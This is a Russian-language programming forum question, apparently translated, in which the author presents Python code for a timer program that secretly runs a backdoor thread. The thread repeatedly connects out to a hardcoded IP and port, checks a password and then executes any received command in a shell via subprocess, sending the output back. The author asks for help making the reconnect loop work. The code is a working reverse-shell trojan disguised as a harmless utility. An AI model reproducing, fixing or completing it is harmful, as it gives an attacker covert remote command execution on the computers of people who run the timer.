Я попытался сделать таймер с бэкдором просто для удовольствия, и он работает, когда я начинаю слушать с netcat, прежде чем запустить скрипт.('nc -l 1234') Было бы неплохо, если бы я мог запустить сценарий и заставить бэкдор-поток пытаться подключиться, пока он наконец не подключится. (Используйте netcat после запуска сценария) Но я всегда получаю ошибку об отказе в соединении и 'OSError:[Errno 22] Недопустимый аргумент '
Я пытался создать собственную функцию для соединения и вызова обеих функций из одной функции, которая вызывается протектором, но она не работает.
Импорт:
import socket
import subprocess
import threading
import time
Объявление переменных и сокета:
port = 1234
passw = 'Password'
host = '192.168.10.128'
connectedToSlave = False
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Таймер, который вас интересовал:
def clock():
startTimerOrQuit = input("Press enter to start the timer. Send 'q' to exit. > ")
if(startTimerOrQuit == 'q'):
exit(0)
start = time.time()
input("Press enter to stop the timer. > ")
with print_lock:
print("It took {} seconds.".format(time.time()-start))
clock()
Это моя функция входа в систему.в чем проблема:
def login():
while True:
try:
s.connect((host, port))
break
except ConnectionRefusedError as e:
with print_lock:
print("ERRRRRRRRRRRRRRRR > ", e, '\n')
continue
with print_lock:
print("While done")
s.send("Login > ".encode('utf-8'))
usrPassw = s.recv(1024)
if(usrPassw.decode('utf-8').strip() == passw):
s.send("Successfully Connected!\n".encode('utf-8'))
s.send("> ".encode('utf-8'))
revShell()
else:
s.send("Wrong Password!\n".encode('utf-8'))
login()
Моя функция reverseShell.работает нормально, но если вы хотите увидеть:
def revShell():
global s
while True:
inData = s.recv(1024)
if(inData.decode('utf-8').strip() == 'logout'):
break
sp = subprocess.Popen(inData, shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE)
output = sp.stdout.read() + sp.stderr.read()
s.send(output)
s.send('> '.encode('utf-8'))
Запуск потоков:
tt = threading.Thread(target = clock, name = "Clock Thread")
tt.start()
bdt = threading.Thread(target = login, name = "Backdoor Thread")
bdt.start()
Я хочу, чтобы таймер работал нормально и пытался подключиться к слушателю netcat, и если онне удается, попробуйте еще раз с, например.задержка 10 сек.Но я получаю Errno [61] ConnectionRefused и OSError Errno [22] Неверный аргумент.